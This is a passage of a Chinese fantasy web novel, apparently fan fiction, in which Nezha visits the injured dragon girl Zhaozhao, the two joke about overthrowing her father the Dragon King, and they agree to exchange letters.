一路上哪吒都克制不住自己激动的心情,他还没有见到昭昭,就开始在心中幻想,等会儿见着她,要与她说什么,要与她玩些什么。
可却未曾想到,在自己敲响昭昭房门后,却吃了一个结结实实的闭门羹!
面前的雕花柏木门,咻地一下打开,又咻地一下关上。速度快到哪吒连眼前的龙影都没见着,就先被风刮乱了头发……
“昭昭,你干什么?!”
“哪吒,你怎么来了?!”
问话和问话撞在一起,哪吒那叫一个莫名其妙,昭昭那叫一个惊慌失措。
哪吒感觉有些扫兴,抬手又敲上了房门,哼道:“我怎么来的?当然是从你家龙宫大门进来的。”
昭昭背身顶着门,她惊喜着朋友突如其来的拜访,却又惊恐着他发现自己脸上的青紫伤痕。
唯独…唯独不想在朋友面前丢脸。
堂堂的未来龙王,不能在未来将军面前露出软弱的样子。在哪吒眼里,她必须又美又强!
昭昭在养伤的这段日子,早就从鱼精蚌女们口中,得知了哪吒的丰功伟绩。
实在太鹅美贼了,哪吒居然是把小筷子打晕,才将她抱出龙宫的。
这样做的他,昭昭闭眼都能预料到,哪吒现在在龙宫的声望为负。
“他们没有拦你吗?”
哪吒连敲了三下门,见昭昭还是没给他开门,只好与她隔着门对话:“你家的大门变得破破烂烂的,那些妖精忙着修门,可没心思管我。”
讲到这里,哪吒又有些忧心,他试探着问昭昭:“碧波潭,是被外敌入侵了吗?”
哪吒想若是她家遭难,自己这未来的碧波潭大将军也可以提前上任的。
但是,得作为太子昭昭的班底。
昭昭从哪吒的话中得知了缘由,心下一松,想怪不得哪吒将来没被守卫拦阻,原来是大家伙都在忙着收拾她造成的烂摊子。
超级sorry啦,打工妖们。昭昭在心中,对目前在老筷子麾下当牛马的精怪们道歉。
她心中的歉意很浅薄,思绪却是转到了另一个角度。
昭昭想如果自己不能当上龙王的话,是不是得要和这些精怪一样,活个上千年,到头来还是当牛做马?
不当牛做马,那就得嫁人,从一群人的牛马,变成一个人的专属牛马?!
以上可怕的想象,刺激得昭昭原地打了个寒颤。
她绝对不要重复自己两个妈妈的命运!
当牛马可以,但她只做老己的牛马!
心中感激着哪吒无意之间,给自己带来的龙生激励,昭昭眨眨眼,是变回了龙形,给哪吒打开了大门。
“哪吒,你进来坐吧。千万别让其他精怪见着你,他们会把你来找我这件事,向老筷子告状。”
哪吒见面前的大门敞开,便抬步走进门去。
他见着昭昭的龙形,心中没有多想,因为昭昭原本就喜欢在平常变作龙身吃睡。
现下见着了,哪吒便以为她是因为原型舒服,便如此生活。
而对于哪吒来说,昭昭的龙形也很好看,昭昭就是昭昭,怎样都是活泼可爱的,他哪吒的好朋友!
龙身不好坐椅子,昭昭就在床上摆了
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一方矮几,引着哪吒往床上坐。
昭昭盘在床上,眼神直往哪吒面上飞去:“我们才分开几日,你怎么就来找我了?是不是一个人觉得无聊,还是我俩一块玩才觉得有趣?”
哪吒心中有些羞涩,却也没闹什么别扭,坦然地承认了昭昭这话:“是有些想你。”
人生中第一次觉得这真心话说出口时,没吐出一个字都觉得嘴中热得发麻。哪吒的脸渐渐地红透了,他下意识地扭头避开对面龙目的打量。
“昭昭,你还是给我说说你家大门为什么被外力所破的事情吧?”
昭昭呲牙一笑,龙须都得意地在水中抖出波浪线:“当然是我打破的呀!”
哪吒扭回头去看昭昭,语气惊讶:“你?你无事凭白打碎你家的大门做什么?”
“此时说来话长。”昭昭轻轻叹了一口气,对着自己实诚的好朋友,说出了事情的前因后果。
她说完了这事,却完全没想到哪吒的关注点,完全不在她意识到的储位争夺战入场券预定中,而是沉着他那张漂亮的包子脸,不满道:
“父女之间的教导,也下如此重手,你父一定少读书,才不知道父慈子孝的道理。”
昭昭点点头,赞同道:“他确实不慈。”
龙嘴刚说完最后一个字,龙须却被对面坐着的人用手扯住。
“你干嘛?!”昭昭惊恐道。
她极怕这人中巨力怪,一不留神扯断自己的宝贝龙须。
这玩意她才长两根,可是比头发还要珍贵的存在呀!!!
哪吒眼睛紧紧锁住眼前的小青龙,道:“你变回人形给我瞧瞧!”
昭昭想到自己人形脸上,青紫红黄斑驳的肿大,梗着脖子拒绝道:“我不要!”
“那就是伤得很严重了。”哪吒干脆利落地下了定论。
被人看穿自己想隐瞒的事实,昭昭窘迫得尾巴都蜷缩起来,藏在身下。
他就不能给自己留些面子吗?!
昭昭想要恼羞成怒,却在恼羞成怒的开端就被哪吒强行打断施法。
龙嘴中被塞入了一颗圆球,她还没回过神品出这东西是什么滋味,下一瞬就又被哪吒用手探入龙嘴,将这圆球用指节顶着塞入喉咙中。
昭昭:“呕!”
哪吒眼疾手快地从龙的嗓子眼处,缩回手指,他抽出手,捂住龙嘴:“是仙丹,你给我咽下去!”
什么?!仙丹?!昭昭被口中药味熏得作呕。
她完全不敢想象,这传说之中的仙丹居然会是浓缩中药味!!!
就在昭昭龙脸铁青,强忍恶心时,门外传来了万圣龙王的说话声:“我女可好?为父来瞧瞧你这几日躲在房中作甚?”
昭昭见这老筷子说着话,就要推门而入,她连忙示意哪吒快往床榻深处躲去。
哪吒依言躲避,却是忙里偷闲朝昭昭飞去一个意思是为什么的眼神。
昭昭也飞速给他回了一个,意思是现在还不到弑父夺位时机的眼神。
她相信他一定能领悟到她的为难。
自己现在的年纪和实力都不行,还不到开启玄武门继承法的时候,昭昭边用爪子薅被褥往哪吒身上盖,便在心中惋惜的猛龙垂泪。
昭昭与哪吒的动作迅速,眨眼间就掩盖了床榻上,还有另一人存在痕迹的事实。
哪吒抱着礼物滚进软被绸帐的深处,半途才想起自己的鞋子还留在外面。
他忙伸头对昭昭进行口型提示,我、的、鞋。
什么?你的鞋?!
因为这点失误,昭昭惊得龙鬃倒竖,可现在再藏东西,闹出的动静太大,怕是瞒不过正要绕过屏风的老筷子了!
昭昭急中生智,将龙尾垂下床榻,盖在了脚踏上摆着的哪吒的鞋子上。
这厢她刚用尾巴遮住哪吒的鞋子,万圣龙王就出现在了她的面前。
昭昭与老筷子爹的眼睛四目相对,心中是尖叫着在庆幸。庆幸自己在他出现在自己眼前的前一秒,成功将哪吒的一切,如蟑螂藏在房间里一般丝滑地隐藏!
机智如她,昭昭又低头瞧瞧自己现在的盘姿,当下便决定继碧波潭未来太子、将来龙王这两个名号后,又给自己添上一个卧龙的标签!
17.第 17 章
完美解决了,小伙伴即将暴露藏身之处的危机,昭昭在万圣龙王面前,骄傲的昂起了龙头。
一些代表着窃喜的欢乐小花,在昭昭心头悄然绽放。
使得她对万圣龙王说话的语气,都变得温柔:“养伤,我当然得睡在房间休息,不然出去乱晃毁容了可不好。”
万圣龙王点头赞同:“重视容貌这一点,你倒是有个女孩样。”
昭昭听了这话,鄙夷地回道:“你这老龙王又小瞧我了,我爱美是爱美,但最重要的不是毁容的龙王,很丢龙面吗?”
这辈子作为好学生,她可是门门功课的分数全部优秀。区区皇家常识,她也是知道的,那就是自古毁容者,都是很难苟进登基决赛圈的!
穿越前爱美,是个人喜好,穿越后爱美,却是为了继承家业!
万圣龙王被昭昭的眼神顶得心里发闷,他对于小女儿的倔强,唯一能做的事情,好像只有妥协。
“我想我们父女之间应该好好谈谈。”
昭昭懂了,这老筷子八成是要给她喂鸡汤了:“你要说什么啊,老爹?”
“你真的想做一位龙王吗?”
昭昭听到万圣龙王这么问自己,她就知道前几天自己的‘体考’分数,让他满意了,今天是来对她进行‘笔试’的。
这样的话,她可得想想要怎么回答现任龙王的问题。
床前碧波潭龙王问子,床上帷幔深处却是稚子发呆。
哪吒想自己带来的礼物,应该被他压碎了大半。要不是现在怕暴露自己的气息,他很想立刻收拾床上的两个扁盒子。
无聊之余,他竖起耳朵去听外面的大龙小龙谈话。不听还好,一听哪吒就觉得昭昭有些可怜,这万圣龙王根本就没想将家业分给她,哪怕一点。
好过分,一条老筷子。
哪吒心内唏嘘不已,她的父亲和自己的父亲,是各有个的烂处。
而话又说回来烂就烂吧,子不嫌爹坏,但偏偏他们两个的父亲烂,却脾气犟得都不承认自己的烂。
幸好,他今日赶来见她了。
哪吒将心比心地想,昭昭她肯定不需要没有又无力的废话安慰,自己陪在她身边,就是一种认同和鼓励。
心中想得明白,感情上的同等认知,却又让哪吒忍不住在心内,组织起鼓励龙语言。
他可是她唯一的朋友,所以绝不能在这个时候装聋作哑。
瞬息间,理智的判断被情感的偏向推翻,哪吒的思考出现短暂的一点滞涩。
这点意识上的小小迟钝,让他没有在第一时间注意到,房间内的说话声已经结束。
“喂,你在发什么呆?”
龙女圆润的杏眼,在哪吒眼前闪动着琥珀色的流光,仿佛她眼中的光芒从未被他人的话语压灭过。
他抓住小青龙的爪子,回答道:“我就是在想我可能把你的床弄脏了。”
昭昭:“什么?”
哪吒:“点心盒子方才被我压烂了。”
昭昭:“就这个啊?随便啦。”嚯,这件小事,还让人愁起来?
哼,她堂堂大青龙一条,难不成还缺一条床单么?
昭昭用未被哪吒握住的其他爪子,往他脸蛋上戳,边玩边说道:“那老筷子走了,哪吒你现在可以爬出来了,我们继续聊天,然后享用点心。”
说完话,龙须灵活地朝哪吒背后,压着的纸盒上,虚虚一点:“点心这东西,只要不是咸的,在油纸袋里冲点热水进去,我们可以捏丸子吃。”
哪吒原先想的是自己来将碎点心解决,免得提回去让母亲见了伤心。
眼下见昭昭她一点都不嫌弃吃碎点心,甚至还想出了新吃法,他脸上立刻露出了一个微笑。
昭昭见了哪吒这笑,心中暗暗笑话他好哄,爪上顺势将人从床上拉起,她便故作不经意地问他:
“哪吒,你刚才听清我爹最后和我说的话没有?”
这是什么意思?哪吒抬头往龙目中望去。
人与龙四目相对,哪吒从昭昭眼中看到了一丝不易让人觉察到的紧张。
通常来说,人是无法从龙鳞片遍布的脸上,看出龙心中的情绪变化,但如果是让人只盯着龙的眼睛看却可以。
因为这世界上大部分生灵的情绪变化,都是从他们的眼神中流露出来的。
昭昭的演技很拙劣。
明明眼中的慌乱,已经纷杂得藏不住了,却在与自己对视时,瞪大眼睛强装镇定……
哪吒垂下眼不再看昭昭,只轻声回答她方才的提问:“我有些走神,没听见后面龙王与你说了什么。怎么,昭昭你是有什么事,想要征求我的意见吗?”
他,没听啊……
昭昭想起刚才自己在他面前晃动爪子的行为,默默地在心里鄙夷了下自己的多疑。
随后便打着哈哈,拎来茶壶,拉着哪吒一起去把点心碎碎,捏成光滑的糯米丸子。
“看在你小小年纪性格却如此难缠的情况下,我可以给你个与你哥哥争夺王位的机会。”
“将领你自己去拉拢,兵你也自己去招,就让我看看你能为龙王这个位置做到什么地步。”
昭昭揉捏着手里的油纸袋,脑中重复着先前万圣龙王的说话声,一声接一声地盖过了手中哗啦作响的纸袋摩擦声。
而哪吒他虽然已经够无视昭昭此时做出的然后表情、动作了,但是……
他真的做不到无视,这龙一声大过一声的磨牙声。
都不用抬头看昭昭的表情了,他听声音就确认她这是被她爹给气出杀心了。
而他想的也没错,昭昭她没喝成万圣龙王煲的鸡汤,却被迫吃了些这老龙给她画的大饼,她心里这一次燃起的再不是先前玩笑一般的杀心,而是真正狠得想要弑父。
到底是多可恶的肚肠,才能说出让女儿给儿子打白工的话?
昭昭她可不傻,现代那些让女儿主事,后面却把家业托付给儿子的恐怖故事还少吗?更别提现在这个看起来古旧的世界。
她再想到自己短暂的上辈子,心里是又气又委屈。每一次、每一个,都是这样的结果,搞得她真的很差劲,差到不配拥有一切一样。
眼眶发热,溢出些让龙变得软弱的液体,几息后又悄悄被龙压回眼中。
油纸袋中的点心碎,已经被昭昭揉捏成了劲道的糯米丸子,她悄悄往旁边坐着的哪吒脸上看了过去。
还好,还好,她预定的未来大将军并没有在脸上露出看不起她的表情。
庆幸过后,昭昭心里又涌起难得的忧愁。
原先她以为王位就是吊在她头顶,她努努力伸长脖子,就能吃到的大饼。谁成想,这病成了老筷子画的假病。
她可真牛b啊,现在才发现自己一直拿在手上诱惑小伙伴的大饼,是假饼。
她恨,这个12315和12338不存在的异世界!
心中恨不得碧波潭爆炸的龙女,表面平静地将手中团出的丸子,递给身边人:“喏,请你吃。”
哪吒接过龙爪上梨子大小的糯米丸,一时不知该如何下口。
他不停变换角度,嘴巴张开几次又都默默合上,始终觉得自己无法下口,想着还是得用刀切开来吃。<
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哪吒正要问昭昭拿把匕首,就忽然听见身旁这条骄傲的小青龙,她蔫巴巴地开口向自己道谢:“哪吒,谢谢你愿意以后当我的大将军。”
哪吒口中哦了一声,下意识就想转头去看龙的眼睛,却被龙立即阻止。
他头上一沉,被龙爪抱住脑袋:“你现在不要看我,我一点也不好看。”
哪吒无法转头,从龙目中窥出龙女的心思,骤然听到她这么说,心中是既惊愕又好笑。
原来她没发现自己不说话,情绪也会从眼中流出的事实。
哪吒低下头,正准备回话,然而却在低头的一瞬,从手中巨型糯米丸子的表面上发现出另一个好笑的事实。
点心中的油膏,通过大力的搓揉而充分的和糯米粉融合,让他手中的巨大丸子表面变得光、可、照、人。
哪吒:“你看我手中的丸子。”
昭昭:“什么?”
她低下头,正好和丸子光滑表面上的龙影面面相觑。
昭昭发现了自己早已暴露的现实。
昭昭:“…哪吒,你一直看得到我脸上的表情吗?”
哪吒:“不然?”
“好过分!你这样还不如一开始就拆穿我!!!”昭昭羞恼地朝哪吒扑去,龙尾一摆,就要往人身上缠去。
哪吒见状忙跳下椅子躲避:“你不要又往我身上缠!”
昭昭见自己已经全部暴露,便不再用龙身作为掩饰,直截了当变回人身:“怎么?嫌我胖?!”
“不是,没有嫌弃你。”哪吒见昭昭变回人形,就走回她身边哼道:“你多大的力气,你不知道?”
昭昭:“你受不了?”
昭昭今天被哪吒看了几回笑话了,心气不顺,当场就决定挑衅回去,气气哪吒。
哼,就他会哼吗?小男孩的自尊心,她还不清楚!
“我?”
哪吒顿了顿,在虚荣和诚实二者中选择了后者,道:“我现在还受不了你的力气,你等我再长大些,你想如何缠我,便随你意!”
昭昭:“…你这诚实得,我都不好说你了。”
哪吒,他就没有一丝丝小男孩的虚荣,别扭吗?!
都、都不好逗了。
昭昭无奈道:“那你以后可要长得高些。”
哪吒回想了家中那三个男的身量后,随即自信答应:“那是当然!”
说完,小男孩伸手碰住昭昭的脸,惊喜道:“昭昭,快看你的脸!”
昭昭迷茫道:“我的脸怎么了?”
“大哥给我的仙丹是真的,你脸上看不出有任何伤痕了!”哪吒眼中满是对仙丹药力的赞叹,让龙一看就知道,他自己都没有用过这物。
昭昭伸手想摸自己的脸,却不想盖住了哪吒的手背。
她抿了抿唇,脸上带着几分因为羞耻,而浮现的玫瑰粉般的红晕,小声道:“你怎么知道我脸上伤得严重?”
这次哪吒没有回答昭昭的问题,有些话不说,才能让当前的气氛更加融洽。
哪吒用没被龙女盖住的那只手,去拍昭昭的肩膀:“快来看看你的脸吧,伤都好了,你就可以不再躲着了。昭昭你不是想当龙王吗?总不能缺课太多,落下了对面,可就不美了。”
“我去找镜子!”听朋友提到自己的竞争对手小筷子,昭昭那可不颓了!
她照完镜子就跑去上课,往死学!
学习的事情,她就不信那小封建龙能卷得过她!!!
昭昭没挪动步子成功,她被哪吒捧着脸道:“何必舍近求远,昭昭你看我的眼睛里就有你呀!”
18.第 18 章
哪吒的瞳孔漆黑,若墨点就。
昭昭从他眼中看到了自己,碧色衣裙,流光若玉,白里透红的脸蛋,像是裹着糖霜的山楂球,所有的颜色鲜明得割开了眸色。
这样的…她本人都觉得哪吒眼中的小姑娘亮眼,恍惚以为这个小小的自己,在他眼中发光。
上辈子,她好像听过一个传闻,世界上少有人拥有纯黑的瞳仁。
真的假的啊?
“看吧,恢复如初,出去不会有妖精会笑你的。”
“不笑话那是假的。”
昭昭拉下哪吒捧着自己脸颊的双手,一副拿他没办法的样子,轻叹一口气:“不过其他妖精怎么看我都无所谓,我已经决定好了!”
哪吒看见昭昭眼中燃起一撮火焰,在场高高昂起她的头。说话语气满是自信:“当然是决定从小筷子那里把王位抢过来!”
她上辈子就经常从男人手里抢东西。
在家从肥猪男碗里抢饭吃,在学校从男同学手上抢第一名。
要不是她上辈子运气不好死掉了,现在一定已经抢到那个大学名下的,附属高中就读名额了。
现在嘛,她运气还是差了一点。
原以为展示出实力,自己就能躺着上王位……
“不是从小筷子哪抢王位,是从你父亲那里抢。”哪吒平静地反驳了昭昭的话。
昭昭的哥哥,很平庸。
哪吒看着面前野心勃勃的龙女,露出了满意的微笑。她看着是恢复平时的精神了,这很好。
昭昭:“你说得对!”
小筷子坐享其成确实讨厌,但他在自己面前只算小怪,她真正要反抗的大BOSS是万圣龙王。
这顽固不化,选继承龙只看小头不看大头的老东西,实在该杀!!!
昭昭对于弑父这个行为,一点抵抗都没有。
曾经在为人的上辈子,她若不是怕毁了自己的人生,早就想乱刀把家中的两只猪猡砍成臊子!
厌男,看见男人呼吸就不安逮死!
她有精神病,只要见到和她差不多年龄的男人,或者比她年龄大的男人,就想去和他们竞争,然后独霸第一名的宝座。
昭昭生来就觉得自己应该吃饱饭,穿漂亮衣服,然后走上人生巅峰。
任何阻拦她过生幸福人(龙)生的家伙都应该死啊啊啊啊!!!
说完话,昭昭凝视着哪吒的脸看了很久,突然想起他也是男的。
但自己没有讨厌他,是因为他帮助了自己吗?还是因为他现在还没有长大?又或是他生得好看?
昭昭陷入沉思,对外的表现就很像是盯着哪吒的脸,开始发呆。
哪吒的耐心其实不多,为数极少的耐性,他全花在了母亲和昭昭身上。前者是孕育他的血亲,后者是他唯一的朋友,但后者的难缠程度要比前者严重太多。
这会儿,哪吒站在原地一动不动被昭昭拉着,看着是稳重,其实小小的男孩心中是没招了。
她要是又难过了,他也想不出该怎么哄她了。
实在不行,他就……
哪吒也陷入沉思中,好在过了片刻,他就在心中下了决心。
昭昭实在痛苦,要不他就在修行之余,密切监视碧波潭的动静,只要发现万圣龙王作恶,他就出手结果了他?
这个想法从心中蹿出,他越想越觉得是合情合理,可行度又高。
我辈修行中人,斩妖除魔是本职,在不影响本职的情况下,顺手满足自己的思想…嗯,确实合情合理。
昭昭先从私龙情绪中挣脱,她眨眨眼就看见面前的哪吒,他双眼放空,神游太虚去了。
“你怎么也呆住了?”
昭昭手上稍微用力,捏了捏哪吒手,便看见这人回过神,摆出一副如梦初醒的面孔,与她说道:
“不如这样,我找个机会把你爹杀了吧。”
昭昭:“???”
她脑中一片混乱,努力思考什么时候他们的话题转到了这里。
就、就算她要搞玄武门继承法,也要像主角一般,自己亲自动手杀才是!
觉得自己权利被冒犯的昭昭,她立刻放弃继续去纠结,为什么自己不讨厌哪吒这个问题,她严肃起表情,连脑袋上顶着的双环髻也跟着往上窜动了几震。
“哪吒,在这件事上,你只能打辅助。”
哪吒不解,他想他都是她未来的大将军了,在杀敌这件事上他没有做错:“为什么?”
昭昭也是一派理所应当的态度答道:“因为碧波潭是我的,你做事不能越俎代庖!”
“这样啊,我知道了。”
哪吒点头,昭昭这样说他就懂了。
“我需要做什么准备?”不再耽搁,他直接问昭昭,他能为造反做些什么。
昭昭上下打量了哪吒一番,想着他刚才的惊天提议,道:“哪吒,你先努力修炼,专注个人。”
“就这样?!”
“就这样。”昭昭顶着哪吒不可思议的眼神,冷漠地再度肯定了这个让他暂时跑一边玩去的决定。
哪吒的心好,但政治素养实在低下……
作为雌龙,她想成为庇佑一方的龙王,这条登基之路不仅难走,还全是偏见……
她可不想让以后的下属,觉得她这个龙王遇见大事,就只会拿下属顶包。
她这样顶天立地的女人,绝不能允许有人以龌龊的思想误会她!!!
昭昭越想越觉得大女子主事当如此,咻地收回手,又咻地双手叉腰大声宣告:“小将军,必须要听昭昭太子的话!——”
哪吒:“啊?”
这话好霸道……
哪吒心里有些无奈,他就没见过有谁的性格,像昭昭一样,又娇气又霸道。
但总归万圣龙王不是他爹,昭昭想自己杀那就让她自己杀好了。
“听你的话。”
这是哪吒面对昭昭的又一次妥协。
没办法,谁让她说的话总是那么有道理。
还是老样子,哪吒还是觉得朋友这种存在好可怕,这样身份的存在总能迫使自己做出一次次退让。
哪吒听着耳边龙女吵吵嚷嚷说肚子饿了,要吃饭的话,就拉着自己从房间中跑出。
“现在我不用藏了吗?”
“藏什么藏!我们最好经常一起玩,黏糊得让他们觉得我玩物丧志才好得很!”
这样呀……
哪吒被昭昭抓住手一路小跑,他看着她发髻上摇晃的流苏,在一片模糊的风中,他望着她发上摇摆的星光想。
朋友什么的好麻烦,自己以后不会再交别的朋友了。
“好难吃。”
和上一次一样,他们两个小孩童溜到厨房,下厨的龙还是昭昭。
她很自信地洗干净手,从案板上揪了两团发酵好的面团,扯了些面条煮了了一锅热气腾腾的汤面与哪吒分享。
昭昭的热情不变,手艺也是和上一次他尝到的一样烂。
哪吒口中全是食材本味。
昭昭听了哪吒这话,回想到现在还在她房间里的糯米大丸子,咬着筷子气鼓鼓道:
“吃饭的时候不许说话!”
昭昭吸着面条,不知怎么地想到哪吒家中都是殷夫人做饭。
这位长辈做饭的手艺很是精湛,但这又如何呢?
都是修行者了,不是为了修行锻炼,凡事都这样亲力亲为,在她眼中就是没苦硬吃。
现在,哪吒嫌弃昭昭做饭难吃,她脑中从来就没有精进厨艺的想法。
她想的是等以后她大权在握,去聘请几个大厨专门做饭给哪吒吃就好了。
前世今生所在的世界不同,但昭昭相信世界上的道理都是相通的。
只要有权有钱,就能满足人大部分的欲望。
吃完饭,昭昭又将哪吒拉回房间,两小只坐在床榻上,手指戳着背面上的绣花打发时间,无聊得昏昏欲睡。
芙蓉花的刺绣被手指抠着花蕊,翘起的小脚在半空摇晃,不留神刺绣便被人扯坏,勾出的丝线在半空绕出烟雾的形状,末尾消失在不在意的眼角余光中。
困意有持续上涌的迹象,昭昭干脆变回龙身,尾巴一扫荡下帷幔,卷着她不讨厌的未来大将军睡大觉。
哪吒揪着龙背上的鬃毛,都觉得自己瞌睡被惊醒了:“你之前不是还精神百倍地要继续读书习武吗?怎么现在天还没黑,就要去睡大觉?!”
昭昭尾巴在哪吒面前逗弄般的摇晃几下后,才慢悠悠地为他解惑:“吃饱喝足,明天我才能精神饱满地去应付外面的筷子一双呀!”
“还有我若在他们面前露出疲态,你可又要放心不下我了。”
脸侧软枕凹陷,哪吒侧头看见巨大的龙头靠在自己耳边,冰凉的龙鬃像一片银白细雨,刷拉一声盖住他的眼睛。
“你有自己的修行要专注吧?等睡起来你就回家继续修炼,唔…殷夫人她孤孤单单一个人,成家了身边也没有人长陪,这不好,挺可怜的。”
男人都一个样在家里坐不住,昭昭想哪吒长大后八成,也要像他两个哥哥一样出去闯荡。
现在自己就引着哪吒不着家,殷夫人她也太可怜了。
“你一条龙在这潭底生活,就不可怜吗?”哪吒轻声问。
昭昭不在意地说:“为我光辉伟大的未来奋斗有什么可怜的?若我以后夺位失败,一无所有了,你再来可怜我。”
“我……”
“我什么我?睡觉!”
“你……”
“你什么你,你就乖乖回去修炼,等我几百年后八抬大轿请你来碧波潭当大将军就好!”
哪吒几次话都被昭昭强行打断,当下恼了,做起来去揪昭昭的龙须:“你怎么一点责任都没有?”
昭昭:“啊?”
她
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都许诺以后,八抬大轿接你来做碧波潭大将军了。
这还不够有责任?
你小子莫不是恃宠而骄,想当摄政王吧?
昭昭霎时看哪吒的眼神都不对了:“你的意思是……”
哪吒皱眉道:“我想和你好好谈谈将来的事。”
昭昭心想她不是都计划好他们两个的未来了嘛……
一个走奇幻版夺嫡风云,一个走传统修仙升级流,他们两人都有着光明的未来。
再等数年,哪吒一定是修仙得道,她也专注自身实力,变得孔武有力英姿飒爽。
到那时,一人一龙久别重逢,再来个执手相看泪眼。然后他们就可以一边回顾往昔情谊,一边口中喊着什么友情啊什么打脸啊,干翻碧波潭。
升级流的小说不都是这么展开的么?
她可是龙啊,多么不凡的来历,在这个玄幻的世界里,只要她不是弱得被谁抓去当坐骑,她完全就是拿着大佬剧本的爽文主角啊!
想想未来的光辉灿烂,昭昭那叫一个没得冒泡!
她笑弯了龙眼,盯着眼前的大将军苗子,乐呵呵道:“哪吒,你是有其他打算吗?”
龙笑逐颜开地端正态度,就轮到哪吒别扭了。
他松开攥着昭昭龙须的手,小声说道:“你就没好好想想我们日后该如何相处?”
昭昭:“?”
哪吒看着面前左眼写着迷茫,右眼写着不解的龙头,气得想抡起拳头去捶:“我们是友人,你真的知道朋友间的情谊需要两方共同努力,才能维系下去吗?”
昭昭:“啊?”
这次,她是真正得愣住了。
昭昭飞速撤回自己方才的想入非非,无措道:“那、那我应该要怎么做?”
哪吒凝视着身旁被自己制住的龙,嗤笑一声。
心想看吧,他就知道她会是这样。
完全以自己为中心,她想干什么就干什么,是把他当成没有脾气的泥人了呀。
也对,第一次见面,她就不怕自己当着她面砍妖怪头,之后自己坐在尸山上等她,她也是一副双眼放光的样子粘过来。
“昭昭,你知道我和你会活多长时间吗?”
昭昭诚实摇头。
人能活多长时间,她脑子里是有个清晰的概念的,龙,她就不知道了?或许一千年?在远些几千年?
若她当了龙王,可以快活个千百年,她想想就不觉得漫长的岁月会让龙难熬。
哪吒叹气:“你连自己能活多久都不知道。”怎么看着精明,内里却有些傻气!笨死了!
“沧海桑田,海枯石烂的光阴流转你能想象吗?如果在这样长的时间里,我们不见面不交谈,很快,要不了百年我们之间的情谊就会变淡。从现在的同床共枕无话不谈,到沉默寡言,最后我们彼此会变得陌生,路上偶遇只会觉得对方眼熟。”
“同床共枕这词哪吒你用得不对吧?我们两个应该是用抵足而眠这个词才是。”昭昭在哪吒停顿的间隙中,插话。
“你别转移话题。”哪吒抓住昭昭的龙角,制止这条青龙想要低头的动作。
他用的词在现在这个语境中,也没和抵足而眠相差多少。
就她会读书有文化?哪吒可是记得以前这龙还说什么,她爹那个老筷子避讳她呢,真是比他还要忤逆不孝!
昭昭不想失去自己在两辈子里,唯一一个并不讨厌的异性朋友,便老实让哪吒继续抓住她的龙角,继续谴责她。
这事的确是她想少了。
“我不想以后见到你,还要在你面前重新介绍自己的姓名。”而且他可是很忙的,也怕一些莫名其妙的麻烦缠上身。
交一个朋友,在哪吒现在的生活中,所增添的烦恼,就够他忧愁不断的了,哪吒不敢想象,这样麻烦的龙,他还要再认识第二遍后,会又生出什么样的忧虑。
还有,昭昭那老筷子爹,哪吒都不想说他。
感觉比他爹还要烦…
李靖日常不在家,不是去闭关就是去赴宴,昭昭他爹就天天在昭昭面前走来走去,哪吒可受不了这般的同处境待遇。
他自己可比昭昭厉害多了,现在去杀万圣龙王可能会受些伤,但也不是不能杀。
回想自己先前给昭昭的建议,哪吒的眉头再度拧紧。
做龙那么固执,讲就无用的行事作风来干什么?
自己去杀老筷子,然后昭昭把她爹当做是大风吹走的不行吗?
哪吒脑中一番头脑风暴,是翻旧账把自己翻得生气了。
他闷声闷气地问昭昭:“你不想和绝交,你就给我想想办法,维持我们的情谊!”
不是,他怎么真生气?
昭昭可不想体验哄老实人消气的折磨痛苦。
她脑中当时飞速运转,脱口而出一句救命话:“我们可以鸿雁传书!”
哪吒:“鸿雁传书?”
19.第 19 章
哪吒最后接受了,昭昭鸿雁传书的提议。
但是这样了,他还不罢休……
提出要求,要他们两个通信的频率,保持在六天一次。
六天……
短短六天,还不是在学校的六天,能有什么新鲜事可分享?
她到时候,总不能写几页口水话寄给他吧?
昭昭在送哪吒离开碧波潭时,信誓旦旦地向她保证说自己会遵守约定。可在哪吒前脚刚走,昭昭就觉得自己的拖延症犯了。
一天两天,她说为时尚早,三天四天她说时候未到,倒数第二天她坐立难安,最后决定磨蹭到第六天早上再写信给哪吒。
当阳光将碧波潭的水面染成金色时,昭昭正握着毛笔,对着桌上的空白信纸呆滞。
她完全不知道自己,要写什么内容的信件给哪吒!!!
她这两辈子只给小明、小红、李华三个人写过信,还都是不用担心回信,只用烦恼分数的那种交流……
“唉,平凡的日常生活,值得落笔吗?”
龙女烦恼得发顶上的双环髻,都耷拉了下来。
烦恼地打了一遍草稿在纸上,昭昭越看自己的文字,越觉得太像是高考作文了。
几百字,干巴巴的,很书面,没有感情全是对分数的渴望……
这种东西怎么能拿给哪吒看!
他又不是来当碎纸机的!
昭昭恼上加恼,并开始了莫名其妙的逃避。
她忽然觉得墨条上的雕花,都变得别有风味起来。
艺术细菌,总会在人(龙)赶死线前,在脑子里突然繁殖,让她发现生活的小美好。
这样慈己多败己的活动,维持到了下午,这时还在打磨草稿的昭昭却先一步收到了哪吒的来信。
哪吒那边作为信使的小来客,是一只白色的肌肉兔子。
矮凳大小的一只幼兔,却是肌肉虬结,昭昭看他一眼,就感觉这兔子一脚下去,能把捕猎的鹰蹬到昏迷……
再看第二眼,凭借其白色的皮毛覆盖下,凹凸起伏的肌肉群,她就知道兔子信使的口感一定很筋道。
想吃,但是不能吃。
昭昭心内可惜了两秒,就把注意力放在了哪吒的来信上。
在没有线条做标的宣纸上,他写下的每一行字都没有跑偏,整齐得就像是列队的玄甲士兵一行行,伫立在雪地上等着听从号令。
这字写得挺好的嘛。
昭昭想起自己先前废弃的几张草稿上,歪歪扭扭的几条墨色蚯蚓,心中对天才的嫉妒又悄悄冒头。
对哪吒的书法欣赏完又嫉妒过后,她才返回打头的墨字,去阅读纸上的内容。
哪吒的字迹规整,信件的格式却不遵守规矩客套。他从开篇的第一句话,就开始洋洋洒洒地讲述自己归家后的乐趣。
母亲对自己的想念,接连几顿餐食全是自己爱吃的菜,稍微对她放心后打坐时进入状态的速度提升了很多,还有其他很多很多的自在快活。
这些话语变作了入眼的文字,让昭昭确信如果自己不认识这个人,哪吒他没有朋友,也不会感到寂寞。
因为他是个居住在深山,也能寻找出许多乐趣的人。
这样的人,他的生活可比她这条小小年纪就忙着汲汲营营的龙幸福多了。
视线下移,落到末尾后的一段文字。哪吒他还提到了今天写信的事情:〔“原本我昨日就该给你来信的,但在日晨光熹微时,我与白鹭一同立在枝头修行,光落在白鹭雪白的羽毛上,细羽闪动的碎光,像是你卧房窗户上贴的贝壳。
这个短促又很微妙很有趣的联想,我想告诉你知道。〕
读到最后,昭昭的脸上,情不自禁地露出了个微笑。
